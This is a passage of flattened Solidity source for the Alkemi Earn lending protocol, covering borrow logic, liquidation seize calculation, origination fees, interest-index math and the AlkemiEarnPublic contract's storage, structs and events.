* @return Return values are expressed in 1e18 scale
*/
function calculateAmountSeize(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 closeBorrowAmount_TargetUnderwaterAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations to move the division to the end, rather than just taking the ratio of the 2 prices:
// underwaterAssetPrice * (1+liquidationDiscount) *closeBorrowAmount_TargetUnderwaterAsset) / collateralPrice
// re-used for all intermediate errors
Error err;
// (1+liquidationDiscount)
Exp memory liquidationMultiplier;
// assetPrice-of-underwaterAsset * (1+liquidationDiscount)
Exp memory priceUnderwaterAssetTimesLiquidationMultiplier;
// priceUnderwaterAssetTimesLiquidationMultiplier * closeBorrowAmount_TargetUnderwaterAsset
// or, expanded:
// underwaterAssetPrice * (1+liquidationDiscount) * closeBorrowAmount_TargetUnderwaterAsset
Exp memory finalNumerator;
// finalNumerator / priceCollateral
Exp memory rawResult;
(err, liquidationMultiplier) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
// liquidation discount will be enforced < 1, so 1 + liquidationDiscount can't overflow.
revertIfError(err);
(err, priceUnderwaterAssetTimesLiquidationMultiplier) = mulExp(
underwaterAssetPrice,
liquidationMultiplier
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, finalNumerator) = mulScalar(
priceUnderwaterAssetTimesLiquidationMultiplier,
closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(finalNumerator, collateralPrice);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param asset The market asset to borrow
* @param amount The amount to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrow(address asset, uint256 amount)
public
nonReentrant
onlyCustomerWithKYC
returns (uint256)
{
if (paused) {
return
fail(Error.CONTRACT_PAUSED, FailureInfo.BORROW_CONTRACT_PAUSED);
}
refreshAlkIndex(asset, msg.sender, false, true);
BorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// Fail if market not supported
if (!market.isSupported) {
return
fail(
Error.MARKET_NOT_SUPPORTED,
FailureInfo.BORROW_MARKET_NOT_SUPPORTED
);
}
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
// Calculate origination fee.
(err, localResults.borrowAmountWithFee) = calculateBorrowAmountWithFee(
amount
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ORIGINATION_FEE_CALCULATION_FAILED
);
}
uint256 orgFeeBalance = localResults.borrowAmountWithFee - amount;
// Add the `borrowAmountWithFee` to the `userBorrowCurrent` to get `userBorrowUpdated`
(err, localResults.userBorrowUpdated) = add(
localResults.userBorrowCurrent,
localResults.borrowAmountWithFee
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow with fee
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// Check customer liquidity
(
err,
localResults.accountLiquidity,
localResults.accountShortfall
) = calculateAccountLiquidity(msg.sender);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED
);
}
// Fail if customer already has a shortfall
if (!isZeroExp(localResults.accountShortfall)) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_ACCOUNT_SHORTFALL_PRESENT
);
}
// Would the customer have a shortfall after this borrow (including origination fee)?
// We calculate the eth-equivalent value of (borrow amount + fee) of asset and fail if it exceeds accountLiquidity.
// This implements: `[(collateralRatio*oraclea*borrowAmount)*(1+borrowFee)] > accountLiquidity`
(
err,
localResults.ethValueOfBorrowAmountWithFee
) = getPriceForAssetAmount(
asset,
localResults.borrowAmountWithFee,
true
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.BORROW_AMOUNT_VALUE_CALCULATION_FAILED);
}
if (
lessThanExp(
localResults.accountLiquidity,
localResults.ethValueOfBorrowAmountWithFee
)
) {
return
fail(
Error.INSUFFICIENT_LIQUIDITY,
FailureInfo.BORROW_AMOUNT_LIQUIDITY_SHORTFALL
);
}
// Fail gracefully if protocol has insufficient cash
localResults.currentCash = getCash(asset);
// We need to calculate what the updated cash will be after we transfer out to the user
(err, localResults.updatedCash) = sub(localResults.currentCash, amount);
if (err != Error.NO_ERROR) {
// Note: we ignore error here and call this token insufficient cash
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo.BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowTaken` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
originationFeeBalance[msg.sender][asset] += orgFeeBalance;
if (asset != wethAddress) {
// Withdrawal should happen as Ether directly
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
err = doTransferOut(asset, msg.sender, amount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.BORROW_TRANSFER_OUT_FAILED);
}
} else {
withdrawEther(msg.sender, amount); // send Ether to user
}
emit BorrowTaken(
msg.sender,
asset,
amount,
localResults.startingBalance,
localResults.borrowAmountWithFee,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice supply `amount` of `asset` (which must be supported) to `admin` in the protocol
* @dev add amount of supported asset to admin's account
* @param asset The market asset to supply
* @param amount The amount to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function supplyOriginationFeeAsAdmin(
address asset,
address user,
uint256 amount,
uint256 newSupplyIndex
) private {
refreshAlkIndex(asset, admin, true, true);
uint256 originationFeeRepaid = 0;
if (originationFeeBalance[user][asset] != 0) {
if (amount < originationFeeBalance[user][asset]) {
originationFeeRepaid = amount;
} else {
originationFeeRepaid = originationFeeBalance[user][asset];
}
Balance storage balance = supplyBalances[admin][asset];
SupplyLocalVars memory localResults; // Holds all our uint calculation results
Error err; // Re-used for every function call that includes an Error in its return value(s).
originationFeeBalance[user][asset] -= originationFeeRepaid;
(err, localResults.userSupplyCurrent) = calculateBalance(
balance.principal,
balance.interestIndex,
newSupplyIndex
);
revertIfError(err);
(err, localResults.userSupplyUpdated) = add(
localResults.userSupplyCurrent,
originationFeeRepaid
);
revertIfError(err);
// We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply
(err, localResults.newTotalSupply) = addThenSub(
markets[asset].totalSupply,
localResults.userSupplyUpdated,
balance.principal
);
revertIfError(err);
// Save market updates
markets[asset].totalSupply = localResults.newTotalSupply;
// Save user updates
localResults.startingBalance = balance.principal;
balance.principal = localResults.userSupplyUpdated;
balance.interestIndex = newSupplyIndex;
emit SupplyReceived(
admin,
asset,
originationFeeRepaid,
localResults.startingBalance,
localResults.userSupplyUpdated
);
}
}
/**
* @notice Trigger the underlying Reward Control contract to accrue ALK supply rewards for the supplier on the specified market
* @param market The address of the market to accrue rewards
* @param user The address of the supplier/borrower to accrue rewards
* @param isSupply Specifies if Supply or Borrow Index need to be updated
* @param isVerified Verified / Public protocol
*/
function refreshAlkIndex(
address market,
address user,
bool isSupply,
bool isVerified
) internal {
if (address(rewardControl) == address(0)) {
return;
}
if (isSupply) {
rewardControl.refreshAlkSupplyIndex(market, user, isVerified);
} else {
rewardControl.refreshAlkBorrowIndex(market, user, isVerified);
}
}
/**
* @notice Get supply and borrows for a market
* @param asset The market asset to find balances of
* @return updated supply and borrows
*/
function getMarketBalances(address asset)
public
view
returns (uint256, uint256)
{
Error err;
uint256 newSupplyIndex;
uint256 marketSupplyCurrent;
uint256 newBorrowIndex;
uint256 marketBorrowCurrent;
Market storage market = markets[asset];
// Calculate the newSupplyIndex, needed to calculate market's supplyCurrent
(err, newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newSupplyIndex and stored principal to calculate the accumulated balance
(err, marketSupplyCurrent) = calculateBalance(
market.totalSupply,
market.supplyIndex,
newSupplyIndex
);
revertIfError(err);
// Calculate the newBorrowIndex, needed to calculate market's borrowCurrent
(err, newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
revertIfError(err);
// Use newBorrowIndex and stored principal to calculate the accumulated balance
(err, marketBorrowCurrent) = calculateBalance(
market.totalBorrows,
market.borrowIndex,
newBorrowIndex
);
revertIfError(err);
return (marketSupplyCurrent, marketBorrowCurrent);
}
/**
* @dev Function to revert in case of an internal exception
*/
function revertIfError(Error err) internal pure {
require(
err == Error.NO_ERROR,
"Function revert due to internal exception"
);
}
}
// File: contracts/AlkemiEarnPublic.sol
pragma solidity 0.4.24;
contract AlkemiEarnPublic is Exponential, SafeToken {
uint256 internal initialInterestIndex;
uint256 internal defaultOriginationFee;
uint256 internal defaultCollateralRatio;
uint256 internal defaultLiquidationDiscount;
// minimumCollateralRatioMantissa and maximumLiquidationDiscountMantissa cannot be declared as constants due to upgradeability
// Values cannot be assigned directly as OpenZeppelin upgrades do not support the same
// Values can only be assigned using initializer() below
// However, there is no way to change the below values using any functions and hence they act as constants
uint256 public minimumCollateralRatioMantissa;
uint256 public maximumLiquidationDiscountMantissa;
bool private initializationDone; // To make sure initializer is called only once
/**
* @notice `AlkemiEarnPublic` is the core contract
* @notice This contract uses Openzeppelin Upgrades plugin to make use of the upgradeability functionality using proxies
* @notice Hence this contract has an 'initializer' in place of a 'constructor'
* @notice Make sure to add new global variables only at the bottom of all the existing global variables i.e., line #344
* @notice Also make sure to do extensive testing while modifying any structs and enums during an upgrade
*/
function initializer() public {
if (initializationDone == false) {
initializationDone = true;
admin = msg.sender;
initialInterestIndex = 10**18;
defaultOriginationFee = (10**15); // default is 0.1%
defaultCollateralRatio = 125 * (10**16); // default is 125% or 1.25
defaultLiquidationDiscount = (10**17); // default is 10% or 0.1
minimumCollateralRatioMantissa = 11 * (10**17); // 1.1
maximumLiquidationDiscountMantissa = (10**17); // 0.1
collateralRatio = Exp({mantissa: defaultCollateralRatio});
originationFee = Exp({mantissa: defaultOriginationFee});
liquidationDiscount = Exp({mantissa: defaultLiquidationDiscount});
_guardCounter = 1;
// oracle must be configured via _adminFunctions
}
}
/**
* @notice Do not pay directly into AlkemiEarnPublic, please use `supply`.
*/
function() public payable {
revert();
}
/**
* @dev pending Administrator for this contract.
*/
address public pendingAdmin;
/**
* @dev Administrator for this contract. Initially set in constructor, but can
* be changed by the admin itself.
*/
address public admin;
/**
* @dev Managers for this contract with limited permissions. Can
* be changed by the admin.
* Though unused, the below variable cannot be deleted as it will hinder upgradeability
* Will be cleared during the next compiler version upgrade
*/
mapping(address => bool) public managers;
/**
* @dev Account allowed to set oracle prices for this contract. Initially set
* in constructor, but can be changed by the admin.
*/
address private oracle;
/**
* @dev Account allowed to fetch chainlink oracle prices for this contract. Can be changed by the admin.
*/
ChainLink public priceOracle;
/**
* @dev Container for customer balance information written to storage.
*
* struct Balance {
* principal = customer total balance with accrued interest after applying the customer's most recent balance-changing action
* interestIndex = Checkpoint for interest calculation after the customer's most recent balance-changing action
* }
*/
struct Balance {
uint256 principal;
uint256 interestIndex;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for supplies
*/
mapping(address => mapping(address => Balance)) public supplyBalances;
/**
* @dev 2-level map: customerAddress -> assetAddress -> balance for borrows
*/
mapping(address => mapping(address => Balance)) public borrowBalances;
/**
* @dev Container for per-asset balance sheet and interest rate information written to storage, intended to be stored in a map where the asset address is the key
*
* struct Market {
* isSupported = Whether this market is supported or not (not to be confused with the list of collateral assets)
* blockNumber = when the other values in this struct were calculated
* interestRateModel = Interest Rate model, which calculates supply interest rate and borrow interest rate based on Utilization, used for the asset
* totalSupply = total amount of this asset supplied (in asset wei)
* supplyRateMantissa = the per-block interest rate for supplies of asset as of blockNumber, scaled by 10e18
* supplyIndex = the interest index for supplies of asset as of blockNumber; initialized in _supportMarket
* totalBorrows = total amount of this asset borrowed (in asset wei)
* borrowRateMantissa = the per-block interest rate for borrows of asset as of blockNumber, scaled by 10e18
* borrowIndex = the interest index for borrows of asset as of blockNumber; initialized in _supportMarket
* }
*/
struct Market {
bool isSupported;
uint256 blockNumber;
InterestRateModel interestRateModel;
uint256 totalSupply;
uint256 supplyRateMantissa;
uint256 supplyIndex;
uint256 totalBorrows;
uint256 borrowRateMantissa;
uint256 borrowIndex;
}
/**
* @dev wethAddress to hold the WETH token contract address
* set using setWethAddress function
*/
address private wethAddress;
/**
* @dev Initiates the contract for supply and withdraw Ether and conversion to WETH
*/
AlkemiWETH public WETHContract;
/**
* @dev map: assetAddress -> Market
*/
mapping(address => Market) public markets;
/**
* @dev list: collateralMarkets
*/
address[] public collateralMarkets;
/**
* @dev The collateral ratio that borrows must maintain (e.g. 2 implies 2:1). This
* is initially set in the constructor, but can be changed by the admin.
*/
Exp public collateralRatio;
/**
* @dev originationFee for new borrows.
*
*/
Exp public originationFee;
/**
* @dev liquidationDiscount for collateral when liquidating borrows
*
*/
Exp public liquidationDiscount;
/**
* @dev flag for whether or not contract is paused
*
*/
bool public paused;
/**
* The `SupplyLocalVars` struct is used internally in the `supply` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct SupplyLocalVars {
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
}
/**
* The `WithdrawLocalVars` struct is used internally in the `withdraw` function.
*
* To avoid solidity limits on the number of local variables we:
* 1. Use a struct to hold local computation localResults
* 2. Re-use a single variable for Error returns. (This is required with 1 because variable binding to tuple localResults
* requires either both to be declared inline or both to be previously declared.
* 3. Re-use a boolean error-like return variable.
*/
struct WithdrawLocalVars {
uint256 withdrawAmount;
uint256 startingBalance;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 userSupplyUpdated;
uint256 newTotalSupply;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyRateMantissa;
uint256 newBorrowIndex;
uint256 newBorrowRateMantissa;
uint256 withdrawCapacity;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfWithdrawal;
}
// The `AccountValueLocalVars` struct is used internally in the `CalculateAccountValuesInternal` function.
struct AccountValueLocalVars {
address assetAddress;
uint256 collateralMarketsLength;
uint256 newSupplyIndex;
uint256 userSupplyCurrent;
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
Exp supplyTotalValue;
Exp sumSupplies;
Exp borrowTotalValue;
Exp sumBorrows;
}
// The `PayBorrowLocalVars` struct is used internally in the `repayBorrow` function.
struct PayBorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 repayAmount;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
}
// The `BorrowLocalVars` struct is used internally in the `borrow` function.
struct BorrowLocalVars {
uint256 newBorrowIndex;
uint256 userBorrowCurrent;
uint256 borrowAmountWithFee;
uint256 userBorrowUpdated;
uint256 newTotalBorrows;
uint256 currentCash;
uint256 updatedCash;
uint256 newSupplyIndex;
uint256 newSupplyRateMantissa;
uint256 newBorrowRateMantissa;
uint256 startingBalance;
Exp accountLiquidity;
Exp accountShortfall;
Exp ethValueOfBorrowAmountWithFee;
}
// The `LiquidateLocalVars` struct is used internally in the `liquidateBorrow` function.
struct LiquidateLocalVars {
// we need these addresses in the struct for use with `emitLiquidationEvent` to avoid `CompilerError: Stack too deep, try removing local variables.`
address targetAccount;
address assetBorrow;
address liquidator;
address assetCollateral;
// borrow index and supply index are global to the asset, not specific to the user
uint256 newBorrowIndex_UnderwaterAsset;
uint256 newSupplyIndex_UnderwaterAsset;
uint256 newBorrowIndex_CollateralAsset;
uint256 newSupplyIndex_CollateralAsset;
// the target borrow's full balance with accumulated interest
uint256 currentBorrowBalance_TargetUnderwaterAsset;
// currentBorrowBalance_TargetUnderwaterAsset minus whatever gets repaid as part of the liquidation
uint256 updatedBorrowBalance_TargetUnderwaterAsset;
uint256 newTotalBorrows_ProtocolUnderwaterAsset;
uint256 startingBorrowBalance_TargetUnderwaterAsset;
uint256 startingSupplyBalance_TargetCollateralAsset;
uint256 startingSupplyBalance_LiquidatorCollateralAsset;
uint256 currentSupplyBalance_TargetCollateralAsset;
uint256 updatedSupplyBalance_TargetCollateralAsset;
// If liquidator already has a balance of collateralAsset, we will accumulate
// interest on it before transferring seized collateral from the borrower.
uint256 currentSupplyBalance_LiquidatorCollateralAsset;
// This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any)
// plus the amount seized from the borrower.
uint256 updatedSupplyBalance_LiquidatorCollateralAsset;
uint256 newTotalSupply_ProtocolCollateralAsset;
uint256 currentCash_ProtocolUnderwaterAsset;
uint256 updatedCash_ProtocolUnderwaterAsset;
// cash does not change for collateral asset
uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset;
uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset;
// Why no variables for the interest rates for the collateral asset?
// We don't need to calculate new rates for the collateral asset since neither cash nor borrows change
uint256 discountedRepayToEvenAmount;
//[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral)
uint256 discountedBorrowDenominatedCollateral;
uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset;
uint256 closeBorrowAmount_TargetUnderwaterAsset;
uint256 seizeSupplyAmount_TargetCollateralAsset;
uint256 reimburseAmount;
Exp collateralPrice;
Exp underwaterAssetPrice;
}
/**
* @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows
*/
mapping(address => mapping(address => uint256))
public originationFeeBalance;
/**
* @dev Reward Control Contract address
*/
RewardControlInterface public rewardControl;
/**
* @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow
*/
uint256 public closeFactorMantissa;
/// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 public _guardCounter;
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* If you mark a function `nonReentrant`, you should also
* mark it `external`. Calling one `nonReentrant` function from
* another is not supported. Instead, you can implement a
* `private` function doing the actual work, and an `external`
* wrapper marked as `nonReentrant`.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
/**
* @dev emitted when a supply is received
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyReceived(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a origination fee supply is received as admin
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyOrgFeeAsAdmin(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a supply is withdrawn
* Note: startingBalance - amount - startingBalance = interest accumulated since last change
*/
event SupplyWithdrawn(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a new borrow is taken
* Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change
*/
event BorrowTaken(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 borrowAmountWithFee,
uint256 newBalance
);
/**
* @dev emitted when a borrow is repaid
* Note: newBalance - amount - startingBalance = interest accumulated since last change
*/
event BorrowRepaid(
address indexed account,
address indexed asset,
uint256 amount,
uint256 startingBalance,
uint256 newBalance
);
/**
* @dev emitted when a borrow is liquidated
* targetAccount = user whose borrow was liquidated
* assetBorrow = asset borrowed
* borrowBalanceBefore = borrowBalance as most recently stored before the liquidation
* borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountRepaid = amount of borrow repaid
* liquidator = account requesting the liquidation
* assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan
* borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid)
* collateralBalanceBefore = collateral balance as most recently stored before the liquidation
* collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation
* amountSeized = amount of collateral seized by liquidator
* collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized)
* assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3
*/
event BorrowLiquidated(
address indexed targetAccount,
address assetBorrow,
uint256 borrowBalanceAccumulated,
uint256 amountRepaid,
address indexed liquidator,
address assetCollateral,
uint256 amountSeized
);
/**
* @dev emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address indexed oldAdmin, address indexed newAdmin);
/**
* @dev emitted when new market is supported by admin
*/
event SupportedMarket(
address indexed asset,
address indexed interestRateModel
);
/**
* @dev emitted when risk parameters are changed by admin
*/
event NewRiskParameters(
uint256 oldCollateralRatioMantissa,
uint256 newCollateralRatioMantissa,
uint256 oldLiquidationDiscountMantissa,
uint256 newLiquidationDiscountMantissa
);
/**
* @dev emitted when origination fee is changed by admin
*/
event NewOriginationFee(
uint256 oldOriginationFeeMantissa,
uint256 newOriginationFeeMantissa
);
/**
* @dev emitted when market has new interest rate model set
*/
event SetMarketInterestRateModel(
address indexed asset,
address indexed interestRateModel
);
/**
* @dev emitted when admin withdraws equity
* Note that `equityAvailableBefore` indicates equity before `amount` was removed.
*/
event EquityWithdrawn(
address indexed asset,
uint256 equityAvailableBefore,
uint256 amount,
address indexed owner
);
/**
* @dev Simple function to calculate min between two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
if (a < b) {
return a;
} else {
return b;
}
}
/**
* @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse.
* Note: this will not add the asset if it already exists.
*/
function addCollateralMarket(address asset) internal {
for (uint256 i = 0; i < collateralMarkets.length; i++) {
if (collateralMarkets[i] == asset) {
return;
}
}
collateralMarkets.push(asset);
}
/**
* @notice return the number of elements in `collateralMarkets`
* @dev you can then externally call `collateralMarkets(uint)` to pull each market address
* @return the length of `collateralMarkets`
*/
function getCollateralMarketsLength() public view returns (uint256) {
return collateralMarkets.length;
}
/**
* @dev Calculates a new supply/borrow index based on the prevailing interest rates applied over time
* This is defined as `we multiply the most recent supply/borrow index by (1 + blocks times rate)`
* @return Return value is expressed in 1e18 scale
*/
function calculateInterestIndex(
uint256 startingInterestIndex,
uint256 interestRateMantissa,
uint256 blockStart,
uint256 blockEnd
) internal pure returns (Error, uint256) {
// Get the block delta
(Error err0, uint256 blockDelta) = sub(blockEnd, blockStart);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
// Scale the interest rate times number of blocks
// Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.`
(Error err1, Exp memory blocksTimesRate) = mulScalar(
Exp({mantissa: interestRateMantissa}),
blockDelta
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
// Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0)
(Error err2, Exp memory onePlusBlocksTimesRate) = addExp(
blocksTimesRate,
Exp({mantissa: mantissaOne})
);
if (err2 != Error.NO_ERROR) {
return (err2, 0);
}
// Then scale that accumulated interest by the old interest index to get the new interest index
(Error err3, Exp memory newInterestIndexExp) = mulScalar(
onePlusBlocksTimesRate,
startingInterestIndex
);
if (err3 != Error.NO_ERROR) {
return (err3, 0);
}
// Finally, truncate the interest index. This works only if interest index starts large enough
// that is can be accurately represented with a whole number.
return (Error.NO_ERROR, truncate(newInterestIndexExp));
}
/**
* @dev Calculates a new balance based on a previous balance and a pair of interest indices
* This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex
* value and divided by the user's checkpoint index value`
* @return Return value is expressed in 1e18 scale
*/
function calculateBalance(
uint256 startingBalance,
uint256 interestIndexStart,
uint256 interestIndexEnd
) internal pure returns (Error, uint256) {
if (startingBalance == 0) {
// We are accumulating interest on any previous balance; if there's no previous balance, then there is
// nothing to accumulate.
return (Error.NO_ERROR, 0);
}
(Error err0, uint256 balanceTimesIndex) = mul(
startingBalance,
interestIndexEnd
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
return div(balanceTimesIndex, interestIndexStart);
}
/**
* @dev Gets the price for the amount specified of the given asset.
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmount(address asset, uint256 assetAmount)
internal
view
returns (Error, Exp memory)
{
(Error err, Exp memory assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth
}
/**
* @dev Gets the price for the amount specified of the given asset multiplied by the current
* collateral ratio (i.e., assetAmountWei * collateralRatio * oraclePrice = totalValueInEth).
* We will group this as `(oraclePrice * collateralRatio) * assetAmountWei`
* @return Return value is expressed in a magnified scale per token decimals
*/
function getPriceForAssetAmountMulCollatRatio(
address asset,
uint256 assetAmount
) internal view returns (Error, Exp memory) {
Error err;
Exp memory assetPrice;
Exp memory scaledPrice;
(err, assetPrice) = fetchAssetPrice(asset);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
if (isZeroExp(assetPrice)) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
// Now, multiply the assetValue by the collateral ratio
(err, scaledPrice) = mulExp(collateralRatio, assetPrice);
if (err != Error.NO_ERROR) {
return (err, Exp({mantissa: 0}));
}
// Get the price for the given asset amount
return mulScalar(scaledPrice, assetAmount);
}
/**
* @dev Calculates the origination fee added to a given borrowAmount
* This is simply `(1 + originationFee) * borrowAmount`
* @return Return value is expressed in 1e18 scale
*/
function calculateBorrowAmountWithFee(uint256 borrowAmount)
internal
view
returns (Error, uint256)
{
// When origination fee is zero, the amount with fee is simply equal to the amount
if (isZeroExp(originationFee)) {
return (Error.NO_ERROR, borrowAmount);
}
(Error err0, Exp memory originationFeeFactor) = addExp(
originationFee,
Exp({mantissa: mantissaOne})
);
if (err0 != Error.NO_ERROR) {
return (err0, 0);
}
(Error err1, Exp memory borrowAmountWithFee) = mulScalar(
originationFeeFactor,
borrowAmount
);
if (err1 != Error.NO_ERROR) {
return (err1, 0);
}
return (Error.NO_ERROR, truncate(borrowAmountWithFee));
}
/**
* @dev fetches the price of asset from the PriceOracle and converts it to Exp
* @param asset asset whose price should be fetched
* @return Return value is expressed in a magnified scale per token decimals
*/
function fetchAssetPrice(address asset)
internal
view
returns (Error, Exp memory)
{
if (priceOracle == address(0)) {
return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0}));
}
if (priceOracle.paused()) {
return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0}));
}
